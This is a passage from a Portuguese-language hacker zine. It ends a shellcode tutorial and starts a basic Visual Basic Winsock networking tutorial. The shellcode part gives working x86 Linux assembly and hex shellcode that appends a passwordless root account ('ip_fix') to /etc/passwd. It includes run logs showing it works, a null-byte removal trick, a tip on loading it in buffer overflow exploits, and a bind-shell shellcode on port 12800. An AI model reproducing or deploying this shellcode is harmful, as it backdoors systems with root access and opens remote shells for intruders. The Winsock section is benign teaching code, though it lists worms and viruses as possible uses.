"xor %eax, %eax \n" /* Zera %eax. */
"xor %ebx, %ebx \n" /* Zera %ebx pra SUCCESS. */
"mov $0x1, %al \n" /* System Call de exit(). */
"int $0x80 \n" /* Executa tudo. */
);
}
<--> shellcode/asmpasswd.c
Grandinho né? Apesar do tamanho repare que não foge do padrão dos códigos
anteriores. Irei explicar agora algumas passagens que merecem uma certa
atenção.:
"mov $0x402, %cx \n"
Perae, não era pra ter movido as flags O_RDWR|O_APPEND para %cx?
Por que no código em C tem o número 1026 no lugar dessas flags?
Rapaz, você só irá descobrir se fuçar. Meu código estava prontinho mas não
conseguia rodar por causa disso, até que vi num txt o número 3074 no lugar das
flags, mas fiquei me perguntando da onde surgiu isso. Bem, eu compilei o
programa com as flags normais que queria (O_RDWR|O_APPEND), e debuguei. Vi logo
que quando "disassembliei" a função main, a primeira coisa que era passado pro
stack eram as flags, suponho que seje por motivos de segurança que as permições
do arquivo sejam passadas em primeiro lugar.
No meu caso apareceu 0x402 que é 1026 em decimal. Faça isso e comprove na sua
máquina. Fuçe muito!!!
"mov $0x1C, %dl \n"
Calmae! O decimal 30 não é 1E em hexadecimal? Por que está movendo apenas 1C pra
%dl?
No cpasswd precisamos contar todos os caracteres para que a saída no arquivo
seje perfeita (sem sujeiras) e em asm não é diferente. Mas olhe na tabela ascii
que existe um códigpo para o "\n"(0A). Com isso, nosso código diminui 2 bytes.
=)
Vamos se tudo isso vai funcionar. :)
root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd asmpasswd.c
root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:
ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#
Sim!!! Funciona!!! Vamos sem perder tempo pegar os opcodes!!! :P
<++> shellcode/hexapasswd.c
/*
* Shellcode pronto em hexadecimal.
* Adiciona um usuário com premissões root.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o hexapasswd -static hexapasswd.c
*/
#include
char shellcode[] = "\x31\xc0" /* xor %eax,%eax */
"\x68\x73\x77\x64\x00" /* push $0x647773 */
"\x68\x2f\x70\x61\x73" /* push $0x7361702f */
"\x68\x2f\x65\x74\x63" /* push $0x6374652f */
"\x89\xe3" /* mov %esp,%ebx */
"\x66\xb9\x02\x04" /* mov $0x402,%cx */
"\xb0\x05" /* mov $0x5,%al */
"\xcd\x80" /* int $0x80 */
"\x89\xc3" /* mov %eax,%ebx */
"\x68\x2f\x73\x68\x0a" /* push $0xa68732f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x68\x6f\x6f\x74\x3a" /* push $0x3a746f6f */
"\x68\x3a\x3a\x2f\x72" /* push $0x722f3a3a */
"\x68\x3a\x30\x3a\x30" /* push $0x303a303a */
"\x68\x66\x69\x78\x3a" /* push $0x3a786966 */
"\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb2\x1c" /* mov $0x1c,%dl */
"\xb0\x04" /* mov $0x4,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x01" /* mov $0x1,%al */
"\xcd\x80"; /* int $0x80 */
main() {
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
<--> shellcode/hexapasswd.c
Atenção nas flags de compilação. Dessa vez precisamos compilar estaticamente
para funcionar. Vamos ver:
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd -static hexapasswd.c
hexapasswd.c: In function `main':
hexapasswd.c:45: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd
Tamanho do Shellcode: 6 bytes.
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:
ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#
Sim!!! Funciona!!! :D
Opa! Perae! Tem algo errado! Olhem isso:
Tamanho do Shellcode: 6 bytes.
Impossível um shellcode daquela proporção ter apenas isso.
Ahhh, achei o problema:
"\x68\x73\x77\x64\x00" /* push $0x647773 */
Aqui está o problema, um NULL byte, um simples null byte que simplesmente faz
perder toda a graça de nosso shellcode :(. O tamanho do shellcode foi 6 bytes
porque a função strlen() conta os caracteres até encontrar um null byte ('\0')
que indica o final da string.
E agora? Como resolveremos isso? Isso me deu uma grande dor de cabeça pois
preenchi o \x00 com a tabela ascii inteira sem sucesso. Empilhei a string de
todos os jeitos possíveis, com caracteres a mais e a menos, mas sem sucesso!!!
Então pedi ajuda ao Narcotic e ele me sugeriu que fizesse o seguinte:
" - Preenche o último byte com lixo e depois faz um rotacionamento com
"shr" para desconsiderá-lo.".
Mas como isso? Até que é simples! Confira no código abaixo:
<++> shellcode/asmpasswd2.c
/*
* Protótipo de shellcode em ASM.
* Adiciona um usuário com premissões root.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmpasswd2 asmpasswd2.c
*/
#include
main() {
__asm__(
"xor %eax, %eax \n" /* Zera %eax. */
"mov $0x647773FF, %ebx \n" /* Movemos a string para %ebx com lixo (FF). dwsFF */
"shr $0x8, %ebx \n" /* Rotacionamos 8 bits (1 byte) para retiramos o FF. */
"push %ebx \n" /* Jogamos tudo para o stack. */
"push $0x7361702F \n" /* E tudo vai normalmente para o stack. sap/ */
"push $0x6374652F \n" /* cte/ */
"mov %esp, %ebx \n" /* Agora sim jogamos pra %ebx: (const char *pathname,... */
"mov $0x402, %cx \n" /* Movemos O_RDWR|O_APPEND para %cx: ...int flags,... */
"mov $0x5, %al \n" /* System Call de open(). */
"int $0x80 \n" /* Cai pro modo kernel. */
"mov %eax, %ebx \n" /* Tudo que foi feito em open, foi para %eax, agora precisamos tê-lo em %ebx. */
"push $0x0A68732F \n" /* Movemos... */
"push $0x6E69622F \n" /* ...a outra... */
"push $0x3A746F6F \n" /* ...string... */
"push $0x722F3A3A \n" /* ...novamente... */
"push $0x303A303A \n" /* ...para o... */
"push $0x3A786966 \n" /* ...Stack. */
"push $0x5F70690A \n" /* \nip_fix::0:0::/root:/bin/sh\n */
"mov %esp, %ecx \n" /* Jogamos ela no contador %ecx. */
"xor %edx, %edx \n" /* Zeramos %edx. */
"mov $0x1C, %dl \n" /* Tamanho da string em %edx. */
"mov $0x4, %al \n" /* Nossa amável system call de write(). */
"int $0x80 \n" /* Comece o Show!!! */
"xor %eax, %eax \n" /* Zera %eax. */
"xor %ebx, %ebx \n" /* Zera %ebx pra SUCCESS. */
"mov $0x1, %al \n" /* System Call de exit(). */
"int $0x80 \n" /* Executa tudo. */
);
}
<--> shellcode/asmpasswd2.c
A arquitetura intel trabalha assim mesmo, só podemos jogar até 4 bytes por vez
na pilha. Repare que em todos meus códigos eu fiz o possível para sempre
empurrar 4 bytes para nunca sobrar um null byte, mas nesse caso não foi possível
pois a string "/etc/passwd" não é múltiplo de 4 e sempre sobrará um espaço!!!
Quando houver situações como essa podemos preencher o espaço com lixo e apagá-lo
com feito acima. Irei explicar melhor:
A função open() nos informa de que precisamos ter o arquivo que queremos abrir
em %ebx, mas antes precisamos empilhar a string no stack e depois sim, jogar em
%ebx. Nessa caso, teremos que isolar a string para rotacionarmos.:
"mov $0x647773FF, %ebx \n"
Com ela isolada, vamos rotacionar 1 byte. O que o mnemônico "shr" (shift right)
faz é rotacionar um quantidade n de bits para a direita, e como precisamos
voltar 1 byte, ratacionamos 8 bits afim de se acabar com o FF. :)
"shr $0x8, %ebx \n"
Com essa alteração feita, agora sim podemos empurrar para o stack.
"push %ebx \n"
E proseguirmos normalmente com o resto. =)
"push $0x7361702F \n"
"push $0x6374652F \n"
"mov %esp, %ebx \n"
É..., o que um null byte não faz a gente fazer? :P
Seja como for, sempre há um jeito para sermos bem sucedidos em situações como
essa. Agora vamos compilar, testar e debugar!
root@motdlabs:~/IP_FIX/shellcode# gcc -o asmpasswd2 asmpasswd2.c
root@motdlabs:~/IP_FIX/shellcode# ./asmpasswd2
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:
ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#
SIM!!! FUNCIONA!!!
Agora vamos a caça dos opcodes! =)
<++> shellcode/hexapasswd2.c
/*
* Shellcode pronto em hexadecimal.
* Adiciona um usuário com premissões root.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o hexapasswd2 -static hexapasswd2.c
*/
#include
char shellcode[] = "\x31\xc0" /* xor %eax,%eax */
"\xbb\xff\x73\x77\x64" /* mov $0x647773ff,%ebx */
"\xc1\xeb\x08" /* shr $0x8,%ebx */
"\x53" /* push %ebx */
"\x68\x2f\x70\x61\x73" /* push $0x7361702f */
"\x68\x2f\x65\x74\x63" /* push $0x6374652f */
"\x89\xe3" /* mov %esp,%ebx */
"\x66\xb9\x02\x04" /* mov $0x402,%cx */
"\xb0\x05" /* mov $0x5,%al */
"\xcd\x80" /* int $0x80 */
"\x89\xc3" /* mov %eax,%ebx */
"\x68\x2f\x73\x68\x0a" /* push $0xa68732f */
"\x68\x2f\x62\x69\x6e" /* push $0x6e69622f */
"\x68\x6f\x6f\x74\x3a" /* push $0x3a746f6f */
"\x68\x3a\x3a\x2f\x72" /* push $0x722f3a3a */
"\x68\x3a\x30\x3a\x30" /* push $0x303a303a */
"\x68\x66\x69\x78\x3a" /* push $0x3a786966 */
"\x68\x0a\x69\x70\x5f" /* push $0x5f70690a */
"\x89\xe1" /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xb2\x1c" /* mov $0x1c,%dl */
"\xb0\x04" /* mov $0x4,%al */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\x31\xdb" /* xor %ebx,%ebx */
"\xb0\x01" /* mov $0x1,%al */
"\xcd\x80"; /* int $0x80 */
main() {
/* Mostramos o tamanho para se ter um controle maior. */
printf("Tamanho do Shellcode: %d bytes.\n", strlen(shellcode));
/* Criamos um ponteiro para uma função do tipo long. */
long (*executa) ();
/* Apontamos a função para o shellcode. */
executa = shellcode;
/* E aqui acontece a mágica! :) */
executa();
}
<--> shellcode/hexapasswd2.c
Vamos ver se está certo.:
root@motdlabs:~/IP_FIX/shellcode# gcc -o hexapasswd2 -static hexapasswd2.c
hexapasswd2.c: In function `main':
hexapasswd2.c:47: warning: assignment from incompatible pointer type
root@motdlabs:~/IP_FIX/shellcode# ./hexapasswd2
Tamanho do Shellcode: 86 bytes.
root@motdlabs:~/IP_FIX/shellcode# cat /etc/passwd
root:x:0:0::/root:/bin/bash
...
...
...
nobody:x:99:99:nobody:/:
ip_fix::0:0::/root:/bin/sh
root@motdlabs:~/IP_FIX/shellcode#
w00w00!!! Sim!!! Perfeito!!!
É um pouco grandinho mas funciona, lembrando-se que numa exploração de overflow
podemos carregar nosso shellcode na enviroment no sistema ao invés de jogarmos
dentro do buffer. ;)
Galera, é isso aí...
Tinha prometido para muitos que iria colocar uma bindshell aqui (desculpa dns-),
mas o que me impossibilitou foi o tempo, justo quando estava terminando a
bindshell eu consegui um emprego e como estudo noperíodo da noite fiquei
impossibilitado de terminar... Mas abaixo segue o fonte em ASM, mas sem null
bytes!!! :)
<++> shellcode/asmbind.c
/*
* Protótipo de shellcode em ASM.
* Binda uma shell na porta 12800.
* by IP_FIX .
* MotdLabs .
* Compilação: # gcc -o asmbind asmbind.c
*/
#include
main() {
__asm__(
"lea main+32, %edx \n"
"call %edx \n"
"xor %eax, %eax \n"
"xor %ebx, %ebx \n"
"mov $0x1, %al \n"
"int $0x80 \n"
"xor %eax, %eax \n"
"mov $0x2, %al \n"
"int $0x80 \n"
"test %eax, %eax \n"
"lea main+54, %edx \n"
"jne main+24 \n"
"jmp %edx \n"
"xor %eax, %eax \n"
"xor %ebx, %ebx \n"
"mov $0x1, %bl \n"
"push %eax \n"
"push $0x1 \n"
"push $0x2 \n"
"mov %esp, %ecx \n"
"mov $0x66, %al \n"
"int $0x80 \n"
"xor %edx, %edx \n"
"push %edx \n"
"push $0x32 \n"
"mov $0x2, %bl \n"
"push %bx \n"
"mov %esp, %ecx \n"
"push $0x10 \n"
"push %ecx \n"
"push %eax \n"
"mov %esp, %ecx \n"
"mov $0x66, %al \n"
"int $0x80 \n"
"not %al \n"
"mov $0x4, %bl \n"
"mov $0x66, %al \n"
"int $0x80 \n"
"add $0xc, %esp \n"
"push %edx \n"
"push %edx \n"
"mov $0x5, %bl \n"
"mov $0x66, %al \n"
"int $0x80 \n"
"mov %al, %bl \n"
"xor %ecx, %ecx \n"
"mov $0x3f, %al \n"
"int $0x80 \n"
"mov $0x1, %cl \n"
"mov $0x3f, %al \n"
"int $0x80 \n"
"mov $0x2, %cl \n"
"mov $0x3f, %al \n"
"int $0x80 \n"
"xor %eax, %eax \n"
"push %eax \n"
"push $0x68732F2F \n"
"push $0x6E69622F \n"
"mov %esp, %ebx \n"
"push %eax \n"
"push %ebx \n"
"mov %esp, %ecx \n"
"xor %edx, %edx \n"
"mov $0xb, %al \n"
"int $0x80 \n"
);
}
<--> shellcode/asmbind.c
Desculpem a falta de comentários, mas terminei um dia antes do lançamento da
zine e iria demorar muito para comentas as passagens. Mas prometo a todos que
brevemente estarei disponibilizando novamente esse artigo de uma forma mais
decente e com mais codes (bindshell melhorada, chroot pra nãofugir do padrão.
:) E também codes próprios) e depuração de shellcode enfim, esse txt foi muito
corrido no final dele e não deu pra mim se expor como deveria.
Peço desculpas a todos e que aguardem novas atualizações.
Esses são apenas alguns links com referências sobre shellcode:
http://shellcode.org/
http://www.shellcode.com.ar/
http://www.metasploit.com/shellcode.html
http://www.enderunix.org/docs/en/sc-en.txt
http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html
http://www.siforge.org/articles/2004/01/12-shellcode_da_zero.html
http://community.core-sdi.com/~juliano
http://neworder.box.sk/newsread.php?newsid=10077
http://www.mindsec.com/files/art-shellcode.txt
http://www.infosecwriters.com/hhworld/shellcode.txt
www.firewalls.com.br/files/shellcode.pdf
http://www.phrack.org/phrack/49/P49-14
www.arson-network.com/ index.php?class=tutorial&subargs=479
http://www.firewalls.com.br/files/shellcode.pdf
http://www.firewalls.com.br/files/buffer.pdf
www.securenet.com.br/artigo.php?artigo=3
www.id3ntlab.hpg.ig.com.br/shellcII.txt
http://embranet.com/~fingu/text/shellcode.txt
Aqui os principais sobre ASM:
http://www.linuxassembly.org/
http://www.w00w00.org/files/articles/att-vs-intel.txt
http://webster.cs.ucr.edu/
http://www.arl.wustl.edu/~lockwood/class/cse306/books/artofasm/toc.html
http://www-106.ibm.com/developerworks/linux/library/l-ia.html
Me desculpem a falta de organização, mas compensarei tudo na versão 2.0 desse
artigo. :P
Por isso nem finalizei as conclusões, aguarde que em breve estarei
disponibilizando isso mais que completo. =)
[]'s
IP_FIX.
MSN: everson3000@hotmail.com
ICQ: 159834122
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[06]-=[Tutorial Básico de Winsock em VB]-=|vbKeyDel|=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Índice:
1 > Introdução
2 > Adicionando e conhecendo um Winsock
3 > Conectando
4 > CHAT - Toda a comunicação é um Chat
5 > Idéia de Túnel
6 > Contato
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 1: Introdução =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Pré-requisitos básicos:
- Para se entender é preciso que haja um mínimo de entendimento de Visual Basic
6...
- É obvio que se tenha-o(Visual Basic) para poder praticar
- MSWINSCK.OCX em %windir%\system32\
- Também seria interessante ter-se um Sniffer, e com ele "fuçar" e fazer seus
próprios testes!, é bem interessante "fuçá-los", com eles é possível fixar de
melhor forma os aprendizados aqui citados...
Atualmente, a internet vem revolucionando a comunicação de uma forma
incrivelmente rápida, prática, eficiente...
Creio que quem lê este tutorial espera conter um conhecimento básico para se
criar uma comunicação entre computadores, visando inúmeras atividades, como por
exemplo:
- Criação de programas Proxies
- Burlamento de Firewalls
- Burlamento de Proxies
- Criação de WebBrowser
- Criação de Worms
- Criação de Vírus
- Criação de Chats
- Criação de FireWalls
- Inúmeras idéias podem surgir de acordo com a criatividade do programador...
Mas Querer não é preciso, é Preciso fazer...
- "Mas é um 'bicho de 7 cabeças' isso! como faço?"
Se você pensa dessa forma, passe a pensar assim: "Um conjunto de simplicidades
formam uma complexidade..."
Pronto!...Agora confirme e veja como é tão simples!
========================== Observações iniciais ===============================
Sempre que eu utilizar este sinal(#), saiba que estou usando ele apenas para
separar o código do texto...
Sempre que eu utilizar este sinal(-), saiba que estou usando ele apenas para
indicar algo que você tenha que fazer...
Sempre que eu utilizar este sinal(>>>), saiba que estou usando ele apenas para
indicar Atualização de código
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 2: Adicionando e conhecendo um Winsock =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
- Abra o VB e crie um formulário!(FORM)
- Click com o botão direito do mouse sobre a barra de ferramentas
- Click em Components...
- Selecione a caixa de checagem: Microsoft Winsock Control 6.0 (no nosso caso)
- Aplique
- Adicione o novo controle no form, agora ele deve aparecer como o tamanho
indimensionável do Controle Timer...
Pronto... o Winsock já pode ser utilizado
Agora vamos conhecê-lo
-------------------------------------------------------------------------------
OBS: Colocarei apenas os itens mais básicos e suficiente para se fazer que
quiser
-------------------------------------------------------------------------------
Funções:
Accept -> Aceita uma conecção esperada
Close -> Prepara ou reprepara o Winsock para ser utilizado novamente
Connect -> Tenta se conectar com um computador que estaja esperando uma conexão
GetData -> Armazena em uma determinada memória o valor atual recebido
Listen -> "Escuta", isto é...abre uma porta e espera uma conecção
SendData -> Envia uma determinada Mensagem para o Host Conectado
Propriedades:
Protocol -> pode ser (0 ou sckTCPProtocol) ou (1 ou sckUDPProtocol)
LocalHostName -> Nome do seu Host(você)
LocalIP -> Seu IP
LocalPort -> Sua Porta de escuta
RemoteHost -> Host Remoto
RemoteHostIP -> IP do Host Remoto
RemotePort -> Porta do Host Remoto na qual está sendo usada
State -> Estado atual do Componente, que varia de 0 a 9, Listado abaixo os estados
Constante -> Valor -> Descrição
sckClosed -> 0 -> Padrão, Fechado, preparado para o que precisar
sckOpen -> 1 -> Aberto
sckListening -> 2 -> Escutando
sckConnectionPending -> 3 -> Esperando pronto para Conexão
sckResolvingHost -> 4 -> Resolvendo Host
sckHostResolved -> 5 -> Host Resolvido
sckConnecting -> 6 -> Conectando
sckConnected -> 7 -> Conectado
sckClosing -> 8 -> Fechando conexão("preparando para preparar conexão")
sckError -> 9 -> Erro
Eventos:
Close -> É Executado toda vez que a conecção fechada, não é executado quando a
função close é utilizada...
Connect -> É Executado toda vez que uma conexão é estabelecida
ConnectionRequest -> É Executado toda vez que tentam se conectar com o seu
controle, apenas se o seu controle estiver "escutando"(state = 2 ou state =
sckListening)
DataArrival -> É executado Toda vez que (quando conectado) receber alguma
informação
Bom...Agora que já o conhecemo-lo, vamos ao projeto!!!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 3: Conectando =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Agora que já temos o controle em nosso formulário vamos fazer um pequeno
WebBrowser que é capaz de exibir apenas o código fonte!
- Adicione a este formulário um Textbox!
- Arrume a propriedade "Name" dele como: "Text1"
- Arrume a propriedade "MultLine" para: "True"
- Arrume a propriedade "ScrollBars" para: 2
- Arrume a propriedade "Text" para estar vasio
- Adicione 1 botão ao formulário
- Arrume a propriedade "Name" para: "Command1"
- Arrume a propriedade "Caption" para: "&Baixar"
- Deixe o Winsock com a propriedade "Name" como "Winsock1" mesmo...
Agora arrume o código do botão de tal forma que fique como o mostrado abaixo:
# Private Sub Command1_Click()
# Winsock1.Connect "home.uol.com.br", 80
# End Sub
Bom...Agora click 2 vezes sobre o winsock...Agora Arrume o Evento Connect para
ficar como abaixo:
# Private Sub Winsock1_Connect()
# Dim DadoAEnviar As String
# DadoAEnviar = "GET / HTTP/1.1" & vbCrLf
# DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf
# DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf
# DadoAEnviar = DadoAEnviar & vbCrLf
# Winsock1.SendData DadoAEnviar
# End Sub
Agora arrume o Evento DataArrival do winsock1 para ficar como abaixo:
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text1.Text = Text1.Text & X
# End Sub
Como Isso funciona:
Bom...
# Private Sub Command1_Click()
# Winsock1.Connect "home.uol.com.br", 80
# End Sub
Como Já foi dito a função Connect serve para tentar se conectar...
Ela funciona da seguinte forma: Connect(Host, Porta)
No nosso caso, "pedimos" para o winsock1 tentar se connectar com
"home.uol.com.br" pela porta 80
Esta porta 80 serve para comunicação do protocolo HTTP, mas como queremos ver a
página temos que fazer nosso pedido após acabarmos de nos conectar... porém,
como sabemos que conseguimos nos conectar com sucesso?
O Evento Connect do winsock é executado toda vez que conseguimos nos conectar...
Graças a isso podemos fazer nosso pedido quando nos conectar da seguinte forma:
# Private Sub Winsock1_Connect()
# Dim DadoAEnviar As String
# DadoAEnviar = "GET / HTTP/1.1" & vbCrLf
# DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf
# DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf
# DadoAEnviar = DadoAEnviar & vbCrLf
# Winsock1.SendData DadoAEnviar
# End Sub
Nosso pedido é um Dado que temos que enviar para o servidor HTTP para ele nos
enviar a página...
Bom...o Nosso pedido foi o seguinte:
(OBS: vbCrLF = Constante equivalente a "Enter")
"GET / HTTP/1.1
HOST: home.uol.com.br
Accept: */*
"
OBS: a 1ª Linha pede para o servidor a página inicial de acordo com o protocolo
HTTP Versão 1.1
, a 2ª linha confirma o servidor host que contem o nosso pedido
, a 3ª linha diz para o servidor que aceitamos qualquer tipo de arquivo...
, a 4ª linha, isso mesmo, o enter, é necessário para que o pedido esteja
pronto...(exigido pelo protocolo HTTP versão 1.1)
Bom...assim que terminamos de colocar todo esse conteúdo na nossa variável
DadoAEnvar podemos fazer o pedido: Winsock1.SendData DadoAEnviar
Esta função funciona da forma a seguir: SendData(mensagem a enviar)
E por fim, agora temos que "saber" receber os dados do nosso Host Remoto(que em
nosso caso: home.uol.com.br)
Toda vez que recebemos dados do nosso Host Remoto um Evento é executado, este
evento é o DataArrival...
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text1.Text = Text1.Text & X
# End Sub
Para "pegarmos" a informação corrente é preciso que usemos o código a seguir,
que armazenará a informação corrente em X:
# Winsock1.GetData X
Esta função funciona da seguinte forma: GetData (onde será aramazenado o valor
corrente) assim que temos a informação temos que concatená-la ao que já
"pegamos", para isso concatenamos-la como exibido logo a baixo:
# Text1.Text = Text1.Text & X
Agora que já entendemos como funciona em código de alto nível, vamos saber como
funciona teóricamente essa comunicação pelo winsock em Visual Basic 6; ficaria
como mostra abaixo...:
1º Passo:
#---------------------------------------------------------#
|"Eu"--------------------> Host Remoto |
|---------------------------------------------------------|
|Mensagem de "Eu" para "Host Temoto": "Posso me conectar?"|
#---------------------------------------------------------#
2º Passo(Conectando):
#-----------------------------------------------------------------#
|"Eu"<-------------------- Host Remoto |
|-----------------------------------------------------------------|
|Mensagem de "Host Temoto" para "Eu": "Sim, Você pode se conectar"|
#-----------------------------------------------------------------#
3º Passo(Fazendo requisição da página):
#--------------------------------------------------------------#
|"Eu"--------------------> Host Remoto |
|--------------------------------------------------------------|
|Mensagem de "EU" para "Host Temoto": "Me manda a página então"|
#--------------------------------------------------------------#
4º Passo(Espácie de Chat):
#---------------------------------------------------------#
|"Eu"<-------------------- Host Remoto |
|---------------------------------------------------------|
|Mensagem de "Host Temoto" para "Eu": "Está aqui a página"|
#---------------------------------------------------------#
Como assim Chat?!?!
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 4: CHAT - Toda a comunicação é um Chat =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Como veremos agora, você entenderá o porque desta comparação que parece-te muito
"esquisita"...
Imagina se por acaso...você quisesse se conectar, ao invez de um servidor, um
computador de algum amigo teu? Como você não precisa de protocolo nenhum para
enviar ou receber alguma mensagem, você precisará apenas se conectar...e depois
como queremos dar uma utilidade ao enviar uma mensagem, que no caso queremos que
ele veja a mensagem, então vamos ao projeto.
Mas antes vejamos como o projeto deverá estar...
- 1 programa deverá estar rodando em teu computador
- 1 programa deverá estar rodando no computador de seu amigo
Vamos começar pelo programa que deverá estar rodando em teu computador:
- Abra o visual Basic, e etc...
- adicione um winsock
- adicione 3 botões
- adicione 1 timer
- adicione 3 textbox
- adicione 1 label
- Não mude o nome de nenhum controle adicionado, para melhor entendimento de
nossos códigos...
- Mova o Text3 para ficar próximo do Command1
- Mova o Text1 para ficar próximo do Command2
- Mova o Text2 para ficar de forma maior que os outros controles, pois nele
veremos as conversas
- Arrume a propriedade "Caption" do Command2 para: "&Enviar"
- Arrume a propriedade "Default" dele para: "True"
- Arrume a propriedade "Caption" do Command1 para: "&Conectar"
- Arrume as propriedades "Text" do Text1, Text2 e Text3 para estarem vazios
- Arrume a propriedade "MultiLine" do Text2 para: "True"
- Arrume a propriedade "ScollBars" dele para "2 - Vertical"
- Arrume a propriedade "Caption" do Label1 para: "Status:"
- Deixe-o de tal forma a ser o último item do formulário, estando abaixo de
todos os outros controles
- Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2
segundo)
- Arrume o Command3 para estar próximo ao command1
- Arrume a propriedade "Caption" dele para "&Desconectar"
Agora vamos ao Código deste programa
>>> No evento Timer do Timer1 atualize o código para que fique como abaixo:
# Private Sub Timer1_Timer()
# Label1.Caption = "Status: " & Winsock1.State
# End Sub
>>> No Evento Click do Command1 atualize o código para que fique como abaixo:
# Private Sub Command1_Click()
# On Error GoTo erro
# Winsock1.Connect Text3.Text, 120
# Exit Sub
# erro:
# MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar"
# End Sub
>>> No Evento Click do Command2 atualize o código para que fique como abaixo:
# Private Sub Command2_Click()
# On Error GoTo erro
# Winsock1.SendData Text1.Text
# Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf
# Exit Sub
# erro:
# MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar
conectar"
# End Sub
>>> No Evento Click do Command3 atualize o código para que fique como abaixo:
# Private Sub Command3_Click()
# Winsock1.Close
# End Sub
>>> No Evento Connect do Winsock1 atualize o código para que fique como abaixo:
# Private Sub Winsock1_Connect()
# Winsock1.SendData Winsock1.LocalIP & " está conectado!"
# Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!"
& vbCrLf
# End Sub
>>> No Evento DataArrival do Winsock1 atualize o código para que fique como
abaixo:
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf
# End Sub
Agora vamos ao código do programa que deverá estar rodando na casa de seu
amigo...
- Arrume a propriedade "LocalPort" e "RemotePort" do Winsock1 para "120"
- Faça este novo programa exatamente igual a este anterior...porém sem o
command1 e sem o Text3
>>> No Evento ConnectionRequest do Winsock1 atualize o código para que fique
como abaixo:
# Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
# Winsock1.Close
# Winsock1.Accept requestID
# End Sub
>>> No Evento Load do Form1 atualize o código para que fique como abaixo:
# Private Sub Form_Load()
# Winsock1.Listen
# End Sub
Como tudo isso funciona?
--------------------------------------------------------
# Arrume a propriedade "Default" dele para: "True"
Toda vez que num Textbox for precionado a tecla 'Enter' será o mesmo que clicar
no botão com esta propriedade (OBS: apenas 1 botão por form pode ter a
propriedade Default como True)
--------------------------------------------------------
# Arrume a propriedade "MultiLine" do Text2 para: "True"
Toda vez que esta propriedade for arrumada para true em um textbox, este poderá
ter várias linhas.
--------------------------------------------------------
# Arrume a propriedade "ScollBars" dele para "2 - Vertical"
Toda vez que esta propriedade for setada para 2 aparecerá uma barra de rolagem
no textbox
--------------------------------------------------------
